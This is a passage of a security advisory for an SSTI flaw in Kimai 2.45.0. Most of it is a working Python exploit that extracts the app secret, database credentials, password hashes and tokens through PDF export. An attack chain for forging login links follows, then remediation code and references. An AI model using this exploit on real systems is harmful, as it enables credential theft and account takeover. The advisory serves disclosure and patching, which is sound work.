                "billable": "0",    \# All billable states
                "exported": "5",    \# All export states
                "markAsExported": "0",
            },
            timeout\=60
        )
    except requests.exceptions.Timeout:
        raise Exception("Export request timed out")
    
    if export\_resp.status\_code \== 404:
        raise Exception(f"Template '{template\_name}' not found - deploy template first")
    
    if export\_resp.status\_code \== 403:
        raise Exception("Access denied - user lacks export permissions")
        
    if export\_resp.status\_code != 200:
        raise Exception(f"Export failed: HTTP {export\_resp.status\_code}")
    
    if b'%PDF' not in export\_resp.content\[:10\]:
        if b'error' in export\_resp.content.lower() or b'exception' in export\_resp.content.lower():
            raise Exception("Template rendering error - check template syntax")
        raise Exception("Invalid response - expected PDF output")
    
    print(f"\[+\] PDF generated successfully: {len(export\_resp.content)} bytes")
    return export\_resp.content

def extract\_text(self, pdf\_content, output\_path\="/tmp/kimai\_ssti\_output.pdf"):
    """Extract text from PDF using pdftotext"""
    with open(output\_path, "wb") as f:
        f.write(pdf\_content)
    
    try:
        result \= subprocess.run(
            \["pdftotext", output\_path, "-"\],
            capture\_output\=True,
            text\=True,
            timeout\=30
        )
        if result.returncode != 0:
            print(f"\[-\] pdftotext error: {result.stderr}")
            return None
        return result.stdout
    except FileNotFoundError:
        print("\[-\] pdftotext not installed")
        print("    Install with: apt install poppler-utils")
        return None
    except subprocess.TimeoutExpired:
        print("\[-\] pdftotext timed out")
        return None

def parse\_findings(self, text):
    """Parse and categorize extracted data"""
    findings \= {
        "app\_secret": None,
        "database\_url": None,
        "password\_hashes": \[\],
        "session\_token": None,
        "csrf\_tokens": \[\]
    }
    
    lines \= text.split('\\n')
    for i, line in enumerate(lines):
        line \= line.strip()
        
        if "APP\_SECRET:" in line:
            findings\["app\_secret"\] \= line.split("APP\_SECRET:")\[\-1\].strip()
        
        if "DATABASE\_URL:" in line or "mysql://" in line:
            if "mysql://" in line:
                findings\["database\_url"\] \= line.strip()
            elif i + 1 < len(lines):
                findings\["database\_url"\] \= lines\[i + 1\].strip()
        
        if "$2y$" in line:
            findings\["password\_hashes"\].append(line)
        
        if "UsernamePasswordToken" in line:
            findings\["session\_token"\] \= "Present (serialized PHP object)"
        
        if "\_csrf" in line.lower() or len(line) \== 43:
            if ":" in line:
                findings\["csrf\_tokens"\].append(line)
    
    return findings

def print_banner(): print(“"” ╔═══════════════════════════════════════════════════════════════╗ ║ Kimai 2.45.0 - SSTI Information Disclosure Exploit ║ ║ ║ ║ Extracts: APP_SECRET, DATABASE_URL, Password Hashes ║ ╚═══════════════════════════════════════════════════════════════╝ “"”)

def main(): print_banner()

if len(sys.argv) < 4:
    print("Usage: python3 ssti\_exploit.py <target\_url> <username> <password> \[template\_name\]")
    print()
    print("Arguments:")
    print("  target\_url    - Kimai instance URL (e.g., http://localhost:8001)")
    print("  username      - Valid admin username")
    print("  password      - User password")
    print("  template\_name - Optional: custom template name (default: ssti-extract.pdf.twig)")
    print()
    print("Example:")
    print("  python3 ssti\_exploit.py http://localhost:8001 admin ChangeMe\_Strong123!")
    print()
    print("Prerequisites:")
    print("  1. Deploy malicious template to /opt/kimai/var/export/ssti-extract.pdf.twig")
    print("  2. User must have export permissions (ROLE\_ADMIN or higher)")
    sys.exit(1)

target \= sys.argv\[1\]
username \= sys.argv\[2\]
password \= sys.argv\[3\]
template \= sys.argv\[4\] if len(sys.argv) \> 4 else "ssti-extract.pdf.twig"

exploit \= KimaiSSTIExploit(target, username, password)

try:
    \# Step 1: Authenticate
    exploit.login()
    
    \# Step 2: Trigger SSTI
    pdf\_content \= exploit.trigger\_ssti(template)
    
    \# Step 3: Save PDF
    output\_file \= "kimai\_extracted\_data.pdf"
    with open(output\_file, "wb") as f:
        f.write(pdf\_content)
    print(f"\[+\] PDF saved to: {output\_file}")
    
    \# Step 4: Extract and display text
    text \= exploit.extract\_text(pdf\_content)
    if text:
        print()
        print("="\*60)
        print("RAW EXTRACTED DATA:")
        print("="\*60)
        print(text\[:2000\])
        if len(text) \> 2000:
            print(f"\\n... \[{len(text) \- 2000} more characters\]")
        
        \# Parse findings
        findings \= exploit.parse\_findings(text)
        
        print()
        print("="\*60)
        print("CRITICAL FINDINGS SUMMARY:")
        print("="\*60)
        
        if findings\["app\_secret"\]:
            print(f"\[!\] APP\_SECRET: {findings\['app\_secret'\]}")
        
        if findings\["database\_url"\]:
            print(f"\[!\] DATABASE\_URL: {findings\['database\_url'\]}")
        
        if findings\["password\_hashes"\]:
            unique\_hashes \= list(set(findings\["password\_hashes"\]))
            print(f"\[!\] Password Hashes Found: {len(unique\_hashes)} unique")
            for h in unique\_hashes\[:5\]:
                print(f"    {h\[:80\]}...")
            if len(unique\_hashes) \> 5:
                print(f"    ... and {len(unique\_hashes) \- 5} more")
        
        if findings\["session\_token"\]:
            print(f"\[!\] Session Token: {findings\['session\_token'\]}")
        
        if findings\["csrf\_tokens"\]:
            print(f"\[!\] CSRF Tokens: {len(findings\['csrf\_tokens'\])} found")
    
    print()
    print("\[+\] Exploitation successful!")
    print(f"\[+\] Full output saved to: {output\_file}")
    return 0
    
except KeyboardInterrupt:
    print("\\n\[-\] Interrupted by user")
    return 130
except Exception as e:
    print(f"\[-\] Exploitation failed: {e}")
    return 1

if __name__ == "__main__": sys.exit(main())

Impact Analysis

Extracted Data

Security Impact

APP_SECRET

Can forge Symfony login links to access ANY user account

DATABASE_URL

Direct database connection credentials exposed

Password Hashes

Offline password cracking possible (bcrypt)

Session Tokens

Session structure analysis, potential replay attacks

CSRF Tokens

Bypass CSRF protection for subsequent attacks

Attack Chain Example

  1. Exploit SSTI → Extract APP_SECRET
  2. Use APP_SECRET to forge login link for target user
  3. Access target user’s account without knowing their password

Remediation****Immediate Fix

Replace DefaultPolicy with InvoicePolicy in ExportPolicy:

// src/Twig/SecurityPolicy/ExportPolicy.php // Change: $this->policy->addPolicy(new DefaultPolicy());

// To: $this->policy->addPolicy(new InvoicePolicy());

Additional Hardening

  1. Block environment access in templates:

    public function checkMethodAllowed($obj, $method): void { if ($obj instanceof Request && $method === ‘getServer’) { throw new SecurityError(‘Server access not allowed’); } }

  2. Block session access in templates:

    if ($obj instanceof Session) { throw new SecurityError(‘Session access not allowed’); }

  3. Restrict User object property access:

    if ($obj instanceof User && $method === ‘getPassword’) { throw new SecurityError(‘Password access not allowed’); }

Reported by: Mahammad Huseynkhanli

References

  • GHSA-jg2j-2w24-54cg
  • https://nvd.nist.gov/vuln/detail/CVE-2026-23626
  • kimai/kimai#5757
  • kimai/kimai@6a86afb
  • https://github.com/kimai/kimai/releases/tag/2.46.0
  • https://twig.symfony.com/doc/3.x/api.html#sandbox-extension

ghsa: Latest News

GHSA-pchf-49fh-w34r: Soft Serve Affected by an Authentication Bypass